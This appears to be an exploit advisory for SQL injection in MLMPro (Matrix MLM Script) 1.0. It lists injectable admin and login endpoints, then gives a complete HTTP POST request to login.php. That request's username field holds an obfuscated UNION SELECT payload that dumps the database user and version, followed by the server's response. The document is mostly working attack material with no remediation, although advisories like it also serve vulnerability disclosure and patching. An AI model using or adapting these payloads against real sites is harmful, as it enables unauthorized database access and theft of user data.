ExploitFixes
MLMPro 1.0 - SQL Injection 2019-01-10 17:05:04

# Exploit Title: Matrix MLM Script 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://royallifefoundation.org/
# Software Link: https://codecanyon.net/item/mlmpro-multistage-forced-matrix-mlm-script/23050292
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/login.php?section=login
# http://localhost/[PATH]/modules/deleteadmin.php?id=[SQL]
# http://localhost/[PATH]/modules/deletepin.php?id=[SQL]
# http://localhost/[PATH]/modules/activateadmin.php?id=[SQL]
# http://localhost/[PATH]/?section=read&mailid=[SQL]
#

POST /[PATH]/login.php?section=login HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 538
Cookie: PHPSESSID=e1js8vek57sgge2oso51do2255
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
username=-1' UNION /*!11111SELECT*/ 1,2,3,4,5,6,CONCAT(USER(),0x2d,VERSION()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41-- -&password=&submit=Login: undefined
HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Jan 2019 17:09:32 GMT
Server: Apache
X-Powered-By: PHP/5.6.39
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /index.php
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked